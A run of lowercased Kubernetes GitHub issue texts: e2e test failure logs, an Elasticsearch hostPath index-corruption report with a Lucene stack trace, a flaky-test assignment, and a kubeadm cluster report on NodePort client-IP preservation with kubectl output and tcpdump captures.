2016-12-07 15:42:36 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:42:37 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:42:36 -0800 pst  }    10.240.0.5 10.96.3.22 2016-12-07 15:42:36 -0800 pst     {my-hostname-delete-node {<nil> 0xc821201dc0 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://08a8f7a8e945e762cd47497225c9a522f5c4659cb155b245e66d13ca22f90a43} }} {{ } {my-hostname-delete-node-btjwv my-hostname-delete-node- e2e-tests-resize-nodes-vvr5w /api/v1/namespaces/e2e-tests-resize-nodes-vvr5w/pods/my-hostname-delete-node-btjwv d508330c-bcd6-11e6-9dba-42010af0002a 42710 0 2016-12-07 15:42:36 -0800 pst <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ e2e-tests-resize-nodes-vvr5w\ ,\ name\ :\ my-hostname-delete-node\ ,\ uid\ :\ d505bffd-bcd6-11e6-9dba-42010af0002a\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 42692\ }}        {v1 replicationcontroller my-hostname-delete-node d505bffd-bcd6-11e6-9dba-42010af0002a 0xc82193b537}     } { {default-token-vwk8l {<nil> <nil> <nil> <nil> <nil> 0xc8218b1d40 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-vwk8l true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc82193b660 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-e8de85f8-ukiq 0xc821efaec0     } {running  {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:42:36 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:42:38 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:42:36 -0800 pst  }    10.240.0.4 10.96.2.30 2016-12-07 15:42:36 -0800 pst     {my-hostname-delete-node {<nil> 0xc821201e00 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://3dd2c77ef797106ea44302900e95c174ac113e4bacb83608c2872a81dd5bb50f} }} {{ } {my-hostname-delete-node-wq0df my-hostname-delete-node- e2e-tests-resize-nodes-vvr5w /api/v1/namespaces/e2e-tests-resize-nodes-vvr5w/pods/my-hostname-delete-node-wq0df 04e7b430-bcd7-11e6-9dba-42010af0002a 42852 0 2016-12-07 15:43:56 -0800 pst <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ e2e-tests-resize-nodes-vvr5w\ ,\ name\ :\ my-hostname-delete-node\ ,\ uid\ :\ d505bffd-bcd6-11e6-9dba-42010af0002a\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 42770\ }}        {v1 replicationcontroller my-hostname-delete-node d505bffd-bcd6-11e6-9dba-42010af0002a 0xc82193b967}     } { {default-token-vwk8l {<nil> <nil> <nil> <nil> <nil> 0xc8218b1da0 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-vwk8l true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc82193ba70 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-e8de85f8-xmr5 0xc821efaf80     } {running  {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:43:56 -0800 pst  } {ready true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:43:57 -0800 pst  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-07 15:43:56 -0800 pst  }    10.240.0.5 10.96.3.23 2016-12-07 15:43:56 -0800 pst     {my-hostname-delete-node {<nil> 0xc821201e20 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://7e296eb487c9a4383f28b356eba96235da678c39fa033d4d0195b388e6f87172} }} } not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:451     issues about this test specifically:  27233  36204   failed:  k8s.io  deployment overlapping deployment should not fight with each other {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:92 failed to update the first deployment's overlapping annotation expected error:     < errors.errorstring | 0xc82019ca30>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:1244     issues about this test specifically:  31502  32947   failed:  k8s.io  job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:198 expected error:     < errors.errorstring | 0xc82019ca30>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:197     issues about this test specifically:  28773  29506  30699  32734  34585  38391   failed:  k8s.io  rescheduler  serial  should ensure that critical pod is scheduled in case there is no resources available {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:67 expected     <int>: 0 to equal     <int>: 1 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:59     issues about this test specifically:  31277  31347  31710  32260  32531   failed:  k8s.io  v1job should fail a job  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/batch_v1_jobs.go:202 expected error:     < errors.errorstring | 0xc82019ca30>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/batch_v1_jobs.go:201     issues about this test specifically:  37427

hello, if i use  hostpath  as volume storage in kubernetes, then i receive this error in log. if i use  emptydir  storage, then no any problems.\r \r any ideas? i can attach my deployment file, if someone needed.\r \r guys from elasticsearch told me that it related to fs system in kubernetes, not to elasticsearch. may anyone can suggest me which type of volume should i use with elasticsearch?\r https://github.com/elastic/elasticsearch/issues/22719\r \r there is an error from elasticsearch, if someone needed.\r \r    \r  2017-01-20t14:25:17,137  warn   org.elasticsearch.index.engine.engine  failed engine  refresh failed \r org.apache.lucene.index.corruptindexexception: codec footer mismatch  file truncated? : actual footer=16792064 vs expected footer=-1071082520  resource=bufferedchecksumindexinput mmapindexinput path=\ /data/data/nodes/0/indices/mkbbb-qmtpmu3v14q-plnw/0/index/_6x.fdx\    \r         at org.apache.lucene.codecs.codecutil.validatefooter codecutil.java:499  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.codecs.codecutil.checkfooter codecutil.java:411  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.codecs.lucene50.lucene50compoundformat.write lucene50compoundformat.java:103  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.index.indexwriter.createcompoundfile indexwriter.java:4893  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.index.documentswriterperthread.sealflushedsegment documentswriterperthread.java:516  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.index.documentswriterperthread.flush documentswriterperthread.java:480  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.index.documentswriter.doflush documentswriter.java:539  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.index.documentswriter.flushallthreads documentswriter.java:653  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.index.indexwriter.getreader indexwriter.java:438  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.index.standarddirectoryreader.doopenfromwriter standarddirectoryreader.java:291  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.index.standarddirectoryreader.doopenifchanged standarddirectoryreader.java:266  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.index.standarddirectoryreader.doopenifchanged standarddirectoryreader.java:256  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.index.filterdirectoryreader.doopenifchanged filterdirectoryreader.java:104  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.index.directoryreader.openifchanged directoryreader.java:140  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.search.searchermanager.refreshifneeded searchermanager.java:156  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.search.searchermanager.refreshifneeded searchermanager.java:58  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.search.referencemanager.domayberefresh referencemanager.java:176  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.apache.lucene.search.referencemanager.mayberefreshblocking referencemanager.java:253  ~ lucene-core-6.3.0.jar:6.3.0 a66a44513ee8191e25b477372094bfa846450316 - shalin - 2016-11-02 19:47:11 \r         at org.elasticsearch.index.engine.internalengine.refresh internalengine.java:646   elasticsearch-5.1.1.jar:5.1.1 \r         at org.elasticsearch.index.shard.indexshard.refresh indexshard.java:629   elasticsearch-5.1.1.jar:5.1.1 \r         at org.elasticsearch.index.indexservice.mayberefreshengine indexservice.java:689   elasticsearch-5.1.1.jar:5.1.1 \r         at org.elasticsearch.index.indexservice.access$400 indexservice.java:93   elasticsearch-5.1.1.jar:5.1.1 \r         at org.elasticsearch.index.indexservice$asyncrefreshtask.runinternal indexservice.java:831   elasticsearch-5.1.1.jar:5.1.1 \r         at org.elasticsearch.index.indexservice$baseasynctask.run indexservice.java:742   elasticsearch-5.1.1.jar:5.1.1 \r         at org.elasticsearch.common.util.concurrent.threadcontext$contextpreservingrunnable.run threadcontext.java:458   elasticsearch-5.1.1.jar:5.1.1 \r         at java.util.concurrent.threadpoolexecutor.runworker threadpoolexecutor.java:1142   ?:1.8.0_111 \r         at java.util.concurrent.threadpoolexecutor$worker.run threadpoolexecutor.java:617   ?:1.8.0_111 \r         at java.lang.thread.run thread.java:745   ?:1.8.0_111 \r

/assign @xiang90 @saad-ali @matchstick \r \r see https://github.com/kubernetes/test-infra/blob/master/experiment/bigquery/flakes-latest.json\r \r the  projected should update labels on modification  flakes once a day in 1 job:\r   gci-gce-etcd3: https://k8s-testgrid.appspot.com/google-gce gci-gce-etcd3&width=5&sort-by-failures=\r \r the  triage dashboard  http://go.k8s.io/triage  can filter down to just this test, which shows it fails somewhere every other hour:\r   https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=projected%20should%20update%20labels%20on%20modification

- cluster is runnning on on-premises openstack\r - custer consists of 6 vms\r - 1 master and 5 slaves\r - os is debian jessie x64  8.7 \r - installation on top of os is mostly done with ansible\r - docker version is\r \r  ii  docker-engine 1.12.6-0~debian-jessie amd64 \r \r - kubernetes is\r \r    \r ii  kubeadm 1.6.1-00 amd64\r ii  kubectl 1.6.1-00 amd64\r ii  kubelet 1.6.1-00 amd64\r ii  kubernetes-cni 0.5.1-00 amd64\r    \r - installation as follows\r - init the master\r \r  kubeadm init \r \r - wait for the procecss to complete\r - init and join the slaves\r \r  ansible -become -i ansible-hosts all -a \ kubeadm join --token=<token from init> 192.168.141.24\  \r \r - installing weave-net \r \r  kubectl apply -f https://git.io/weave-kube-1.6 \r \r - waiting for the cluster to complete\r - completed cluster looks like this\r \r    \r $ kubectl get nodes -o wide\r name                  status    age       version   external-ip   os-image                      kernel-version\r dt-kube-test-1        ready     19h       v1.6.1    <none>        debian gnu/linux 8  jessie    3.16.0-4-amd64\r dt-kube-test-2        ready     19h       v1.6.1    <none>        debian gnu/linux 8  jessie    3.16.0-4-amd64\r dt-kube-test-3        ready     19h       v1.6.1    <none>        debian gnu/linux 8  jessie    3.16.0-4-amd64\r dt-kube-test-4        ready     19h       v1.6.1    <none>        debian gnu/linux 8  jessie    3.16.0-4-amd64\r dt-kube-test-5        ready     19h       v1.6.1    <none>        debian gnu/linux 8  jessie    3.16.0-4-amd64\r dt-kube-test-master   ready     19h       v1.6.1    <none>        debian gnu/linux 8  jessie    3.16.0-4-amd64\r \r $ kubectl get pods,svc,ep,deploy -n kube-system -o wide\r name                                             ready     status    restarts   age       ip               node\r po/etcd-dt-kube-test-master                      1/1       running   1          19h       192.168.141.24   dt-kube-test-master\r po/kube-apiserver-dt-kube-test-master            1/1       running   1          19h       192.168.141.24   dt-kube-test-master\r po/kube-controller-manager-dt-kube-test-master   1/1       running   1          19h       192.168.141.24   dt-kube-test-master\r po/kube-dns-3913472980-p5qr8                     3/3       running   0          19h       10.40.0.1        dt-kube-test-5\r po/kube-proxy-5fbwt                              1/1       running   0          18h       192.168.141.22   dt-kube-test-5\r po/kube-proxy-5jwrf                              1/1       running   0          18h       192.168.141.20   dt-kube-test-2\r po/kube-proxy-7qtsl                              1/1       running   0          18h       192.168.141.23   dt-kube-test-4\r po/kube-proxy-b3bmt                              1/1       running   0          18h       192.168.141.19   dt-kube-test-1\r po/kube-proxy-vjsx8                              1/1       running   0          18h       192.168.141.24   dt-kube-test-master\r po/kube-proxy-z4fmn                              1/1       running   0          18h       192.168.141.21   dt-kube-test-3\r po/kube-scheduler-dt-kube-test-master            1/1       running   1          19h       192.168.141.24   dt-kube-test-master\r po/weave-net-22hvm                               2/2       running   0          19h       192.168.141.23   dt-kube-test-4\r po/weave-net-5g135                               2/2       running   0          19h       192.168.141.19   dt-kube-test-1\r po/weave-net-f484j                               2/2       running   0          19h       192.168.141.24   dt-kube-test-master\r po/weave-net-wz451                               2/2       running   0          19h       192.168.141.21   dt-kube-test-3\r po/weave-net-x9h4r                               2/2       running   0          19h       192.168.141.20   dt-kube-test-2\r po/weave-net-zf827                               2/2       running   0          19h       192.168.141.22   dt-kube-test-5\r \r name           cluster-ip   external-ip   port s          age       selector\r svc/kube-dns   10.96.0.10   <none>        53/udp,53/tcp   19h       k8s-app=kube-dns\r \r name                         endpoints                   age\r ep/kube-controller-manager   <none>                      19h\r ep/kube-dns                  10.40.0.1:53,10.40.0.1:53   19h\r ep/kube-scheduler            <none>                      19h\r \r name              desired   current   up-to-date   available   age       container s               image s                                                                                                                                                                    selector\r deploy/kube-dns   1         1         1            1           19h       kubedns,dnsmasq,sidecar   gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.1,gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.1,gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.1   k8s-app=kube-dns\r \r    \r - everything looks fine from my point of view\r - then deploying the wordpress container \r \r  kubectl create -f wordpress.yaml \r \r - yaml looks like\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: wordpress\r   labels:\r     name: wordpress\r spec:\r   containers:\r     - image: wordpress\r       name: wordpress\r       env:\r         - name: wordpress_db_password\r             change this - must match mysql.yaml password\r           value: yourpassword\r       ports:\r         - containerport: 80\r           name: wordpress\r \r    \r - setting up service expected to be onlylocal and preserve client ip\r \r  kubectl create -f wordpress-service.yaml \r \r - yaml looks like\r \r    \r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     service.beta.kubernetes.io/external-traffic: \ onlylocal\ \r   labels:\r     name: wpfrontend\r   name: wpfrontend\r spec:\r   ports:\r     - port: 80\r   selector:\r     name: wordpress\r   type: nodeport\r    \r \r - created pods, services and endpoints look like\r \r    \r $ kubectl get pods,svc,ep -o wide\r name           ready     status    restarts   age       ip          node\r po/mysql       1/1       running   0          19h       10.44.0.1   dt-kube-test-3\r po/wordpress   1/1       running   0          57s       10.40.0.2   dt-kube-test-5\r \r name             cluster-ip       external-ip   port s         age       selector\r svc/kubernetes   10.96.0.1        <none>        443/tcp        19h       <none>\r svc/mysql        10.108.23.252    <none>        3306/tcp       19h       name=mysql\r svc/wpfrontend   10.109.104.198   <nodes>       80:30555/tcp   2m        name=wordpress\r \r name            endpoints             age\r ep/kubernetes   192.168.141.24:6443   19h\r ep/mysql        10.44.0.1:3306        19h\r ep/wpfrontend   10.40.0.2:80          2m\r    \r \r - expected result looking to the wordpress logs\r - client ip of external traffic will be preserved\r - result: i see the masq ip in the apache logs\r - if i access the nodeport on the floatingip of the openstack vm\r - using wget to access floating ip\r \r    \r $ wget http://62.50.111.95:30555\r --2017-04-26 19:26:19--  http://62.50.111.95:30555/\r verbindungsaufbau zu 62.50.111.95:30555 … verbunden.\r http-anforderung gesendet, auf antwort wird gewartet … 302 found\r platz: http://62.50.111.95:30555/wp-admin/install.php  folgend \r --2017-04-26 19:26:20--  http://62.50.111.95:30555/wp-admin/install.php\r wiederverwendung der bestehenden verbindung zu 62.50.111.95:30555.\r http-anforderung gesendet, auf antwort wird gewartet … 200 ok\r länge: nicht spezifiziert  text/html \r wird in »»index.html«« gespeichert.\r \r index.html                                                     <=>                                                                                                                                 10,88k  --.-kb/s    in 0,05s   \r 2017-04-26 19:26:21  202 kb/s  - »index.html« gespeichert  11142 \r    \r \r - logs from the container\r \r    \r $ kubectl logs po/wordpress -f\r wordpress not found in /var/www/html - copying now...\r complete! wordpress has been successfully copied to /var/www/html\r ah00558: apache2: could not reliably determine the server's fully qualified domain name, using 10.40.0.2. set the 'servername' directive globally to suppress this message\r ah00558: apache2: could not reliably determine the server's fully qualified domain name, using 10.40.0.2. set the 'servername' directive globally to suppress this message\r  wed apr 26 17:23:59.743178 2017   mpm_prefork:notice   pid 1  ah00163: apache/2.4.10  debian  php/5.6.30 configured -- resuming normal operations\r  wed apr 26 17:23:59.743230 2017   core:notice   pid 1  ah00094: command line: 'apache2 -d foreground'\r 10.40.0.0 - -  26/apr/2017:17:26:17 +0000  \ get / http/1.1\  302 383 \ -\  \ wget/1.18  darwin16.0.0 \ \r 10.40.0.0 - -  26/apr/2017:17:26:18 +0000  \ get /wp-admin/install.php http/1.1\  200 11515 \ -\  \ wget/1.18  darwin16.0.0 \ \r    \r \r - service configuration in full yaml\r \r    \r $ kubectl get svc/wpfrontend -o yaml\r apiversion: v1\r kind: service\r metadata:\r   annotations:\r     service.beta.kubernetes.io/external-traffic: onlylocal\r   creationtimestamp: 2017-04-26t17:21:49z\r   labels:\r     name: wpfrontend\r   name: wpfrontend\r   namespace: default\r   resourceversion: \ 117507\ \r   selflink: /api/v1/namespaces/default/services/wpfrontend\r   uid: d4c22e87-2aa4-11e7-ad86-fa163e2814da\r spec:\r   clusterip: 10.109.104.198\r   ports:\r   - nodeport: 30555\r     port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     name: wordpress\r   sessionaffinity: none\r   type: nodeport\r status:\r   loadbalancer: {}\r    \r \r - the annotation is in place\r - the node-port 30555 is only working on the local node\r - in tcpdump on the node the pod is running on i can see in external if\r \r    \r   tcpdump -n -i eth0 port 30555\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on eth0, link-type en10mb  ethernet , capture size 262144 bytes\r 19:49:13.747101 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  sew , seq 2796682649, win 65535, options  mss 1198,nop,wscale 5,nop,nop,ts val 897439112 ecr 0,sackok,eol , length 0\r 19:49:13.747260 ip 192.168.141.22.30555 > 212.9.183.78.64387: flags  s.e , seq 389384330, ack 2796682650, win 26480, options  mss 1336,sackok,ts val 17857533 ecr 897439112,nop,wscale 7 , length 0\r 19:49:13.774025 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  . , ack 1, win 4113, options  nop,nop,ts val 897439143 ecr 17857533 , length 0\r 19:49:13.826017 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  p. , seq 1:147, ack 1, win 4113, options  nop,nop,ts val 897439143 ecr 17857533 , length 146\r 19:49:13.826121 ip 192.168.141.22.30555 > 212.9.183.78.64387: flags  . , ack 147, win 216, options  nop,nop,ts val 17857553 ecr 897439143 , length 0\r 19:49:13.882326 ip 192.168.141.22.30555 > 212.9.183.78.64387: flags  p. , seq 1:384, ack 147, win 216, options  nop,nop,ts val 17857567 ecr 897439143 , length 383\r 19:49:13.908639 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  . , ack 384, win 4101, options  nop,nop,ts val 897439272 ecr 17857567 , length 0\r 19:49:13.914183 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  p. , seq 147:313, ack 384, win 4101, options  nop,nop,ts val 897439272 ecr 17857567 , length 166\r 19:49:13.914236 ip 192.168.141.22.30555 > 212.9.183.78.64387: flags  . , ack 313, win 224, options  nop,nop,ts val 17857575 ecr 897439272 , length 0\r 19:49:14.923284 ip 192.168.141.22.30555 > 212.9.183.78.64387: flags  . , seq 384:2756, ack 313, win 224, options  nop,nop,ts val 17857827 ecr 897439272 , length 2372\r 19:49:14.923478 ip 192.168.141.22.30555 > 212.9.183.78.64387: flags  . , seq 2756:5128, ack 313, win 224, options  nop,nop,ts val 17857827 ecr 897439272 , length 2372\r 19:49:14.923627 ip 192.168.141.22.30555 > 212.9.183.78.64387: flags  . , seq 5128:7500, ack 313, win 224, options  nop,nop,ts val 17857827 ecr 897439272 , length 2372\r 19:49:14.923771 ip 192.168.141.22.30555 > 212.9.183.78.64387: flags  p. , seq 7500:8749, ack 313, win 224, options  nop,nop,ts val 17857827 ecr 897439272 , length 1249\r 19:49:14.946367 ip 192.168.141.22.30555 > 212.9.183.78.64387: flags  . , seq 8749:11121, ack 313, win 224, options  nop,nop,ts val 17857833 ecr 897439272 , length 2372\r 19:49:15.015701 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  . , ack 2756, win 4032, options  nop,nop,ts val 897440379 ecr 17857827 , length 0\r 19:49:15.015749 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  . , ack 5128, win 3958, options  nop,nop,ts val 897440379 ecr 17857827 , length 0\r 19:49:15.015757 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  . , ack 7500, win 3884, options  nop,nop,ts val 897440379 ecr 17857827 , length 0\r 19:49:15.015764 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  . , ack 8749, win 3845, options  nop,nop,ts val 897440379 ecr 17857827 , length 0\r 19:49:15.015770 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  . , ack 11121, win 3771, options  nop,nop,ts val 897440379 ecr 17857833 , length 0\r 19:49:15.015828 ip 192.168.141.22.30555 > 212.9.183.78.64387: flags  p. , seq 11121:11899, ack 313, win 224, options  nop,nop,ts val 17857850 ecr 897440379 , length 778\r 19:49:15.020674 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  . , ack 11121, win 4021, options  nop,nop,ts val 897440381 ecr 17857833 , length 0\r 19:49:15.020711 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  . , ack 11121, win 4096, options  nop,nop,ts val 897440381 ecr 17857833 , length 0\r 19:49:15.034223 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  . , ack 11899, win 4071, options  nop,nop,ts val 897440398 ecr 17857850 , length 0\r 19:49:15.040302 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  f. , seq 313, ack 11899, win 4096, options  nop,nop,ts val 897440399 ecr 17857850 , length 0\r 19:49:15.040434 ip 192.168.141.22.30555 > 212.9.183.78.64387: flags  f. , seq 11899, ack 314, win 224, options  nop,nop,ts val 17857856 ecr 897440399 , length 0\r 19:49:15.059801 ip 212.9.183.78.64387 > 192.168.141.22.30555: flags  . , ack 11900, win 4096, options  nop,nop,ts val 897440421 ecr 17857856 , length 0\r    \r \r - nothing on docker0 interface\r - nothing on weave interface\r - nothing on datapath interface\r - nohting on any other interface with port 30555\r - so i assume the traffic is already port-translated\r - so i looked for port 80 traffic\r - then i can find the traffic masq on weave interface\r \r    \r   tcpdump -n -i weave port 80\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on weave, link-type en10mb  ethernet , capture size 262144 bytes\r 19:55:56.155870 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  s , seq 3040451662, win 65535, options  mss 1198,nop,wscale 5,nop,nop,ts val 897840275 ecr 0,sackok,eol , length 0\r 19:55:56.155934 ip 10.40.0.2.80 > 212.9.183.78.64411: flags  s. , seq 625537050, ack 3040451663, win 26480, options  mss 1336,sackok,ts val 17958135 ecr 897840275,nop,wscale 7 , length 0\r 19:55:56.182634 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  . , ack 625537051, win 4113, options  nop,nop,ts val 897840304 ecr 17958135 , length 0\r 19:55:56.232856 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  p. , seq 0:146, ack 1, win 4113, options  nop,nop,ts val 897840304 ecr 17958135 , length 146: http: get / http/1.1\r 19:55:56.232971 ip 10.40.0.2.80 > 212.9.183.78.64411: flags  . , ack 147, win 216, options  nop,nop,ts val 17958154 ecr 897840304 , length 0\r 19:55:56.295822 ip 10.40.0.2.80 > 212.9.183.78.64411: flags  p. , seq 1:384, ack 147, win 216, options  nop,nop,ts val 17958170 ecr 897840304 , length 383: http: http/1.1 302 found\r 19:55:56.314389 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  . , ack 384, win 4101, options  nop,nop,ts val 897840434 ecr 17958170 , length 0\r 19:55:56.318685 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  p. , seq 146:312, ack 384, win 4101, options  nop,nop,ts val 897840434 ecr 17958170 , length 166: http: get /wp-admin/install.php http/1.1\r 19:55:56.318709 ip 10.40.0.2.80 > 212.9.183.78.64411: flags  . , ack 313, win 224, options  nop,nop,ts val 17958176 ecr 897840434 , length 0\r 19:55:57.339544 ip 10.40.0.2.80 > 212.9.183.78.64411: flags  . , seq 384:2756, ack 313, win 224, options  nop,nop,ts val 17958431 ecr 897840434 , length 2372: http: http/1.1 200 ok\r 19:55:57.339824 ip 10.40.0.2.80 > 212.9.183.78.64411: flags  . , seq 2756:5128, ack 313, win 224, options  nop,nop,ts val 17958431 ecr 897840434 , length 2372: http\r 19:55:57.339970 ip 10.40.0.2.80 > 212.9.183.78.64411: flags  . , seq 5128:7500, ack 313, win 224, options  nop,nop,ts val 17958431 ecr 897840434 , length 2372: http\r 19:55:57.340117 ip 10.40.0.2.80 > 212.9.183.78.64411: flags  p. , seq 7500:8749, ack 313, win 224, options  nop,nop,ts val 17958431 ecr 897840434 , length 1249: http\r 19:55:57.358701 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  . , ack 2756, win 4027, options  nop,nop,ts val 897841473 ecr 17958431 , length 0\r 19:55:57.363693 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  . , ack 5128, win 3958, options  nop,nop,ts val 897841473 ecr 17958431 , length 0\r 19:55:57.363705 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  . , ack 6314, win 4096, options  nop,nop,ts val 897841473 ecr 17958431 , length 0\r 19:55:57.363711 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  . , ack 8686, win 4021, options  nop,nop,ts val 897841476 ecr 17958431 , length 0\r 19:55:57.363717 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  . , ack 8686, win 4096, options  nop,nop,ts val 897841476 ecr 17958431 , length 0\r 19:55:57.363739 ip 10.40.0.0.64411 > 10.40.0.2.80: flags  . , ack 8749, win 4094, options  nop,nop,ts val 897841476 ecr 17958431 , length 0\r 19:55:57.370742 ip 10.40.0.2.80 > 212.9.183.78.64411: flags  . , seq 8749:11121, ack 313, win 224, options  nop,nop,ts val 17958439 ecr 897841476 , length 2372: http\r 